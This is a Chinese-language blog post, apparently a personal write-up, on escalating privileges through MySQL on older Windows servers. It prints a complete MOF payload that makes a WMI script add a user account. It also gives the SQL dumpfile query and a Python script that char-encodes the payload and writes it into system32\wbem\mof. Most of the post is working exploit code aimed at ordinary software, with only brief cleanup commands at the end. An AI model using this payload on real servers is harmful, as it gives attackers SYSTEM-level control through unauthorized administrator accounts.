無意中看到有關mysql的這種提權方式,趁着有空餘時間便研究了起來,發現網上有挺多地方寫的不夠詳細的,研究的時候也卡殼了一段時間。
利用前提:
操作系統爲windows
操作系統版本不宜太高,2008測試不通過,2003可(因爲需要訪問到system32中目錄)或說mysql啓動身份具有權限去訪問和寫入c:/windows/system32/mof目錄
數據庫爲mysql且知道mysql登錄賬號密碼和允許外連(或存在sql注入或webshell中操作,未實踐)
先簡單介紹一下原理(摘自網上和個人實踐後得出)
放置在c:/windows/system32/mof目錄下的nullevt.mof文件每個五秒鐘會被自動執行並且消失,如果後續沒有創建新的該文件,那麼每五秒會循環執行之前的nullevt.mof中內容,那麼只需要將惡意代碼寫入該文件中即可。
網上已公開nullevt.mof中的利用代碼
#pragma namespace(“\\\\.\\root\\subscription”) instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2”; Name = “filtP2”; Query = “Select * From __InstanceModificationEvent “ “Where TargetInstance Isa \”Win32_LocalTime\” “ “And TargetInstance.Second = 5”; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2”; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user xxx xxx /add\”)“; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
常規利用過程步驟如下:
上傳該文件到服務器上任意位置,名字任意
通過mysql語句 select load_file(上傳的文件路徑) into dumpfile 'c:/windows/system32/mof/nullevt.mof'
即可,如果成功上傳,經過一段時間後,裏面嵌入的代碼會被執行
個人覺得要上傳文件顯得過於麻煩,能不能直接select 'xxxxx' into,經過嘗試,要將該內容進行轉碼後再查詢即可,提供部分py代碼作爲演示
使用mysql中char函數解決
payload = r''' #pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user xxxx xxx /add\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; }; ''' ascii_payload = '' for each_chr in payload: ascii_payload += str(ord(each_chr)) + ',' ascii_payload = ascii_payload[:-1] cur = conn.cursor() sql = "select char(%s) into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'" % ascii_payload cur.execute(sql)
由於mof是由system執行,所以權限滿足創建用戶、添加管理員等操作,即可完成提權過程。
如果服務器發現被使用mof提權,該如何解決循環創建用戶?
打開cmd使用以下命令
net stop winmgmt
刪除文件夾下內容 c:/windows/system32/wbem/repository
net start winmgmt
即可
錯誤之處,敬請指正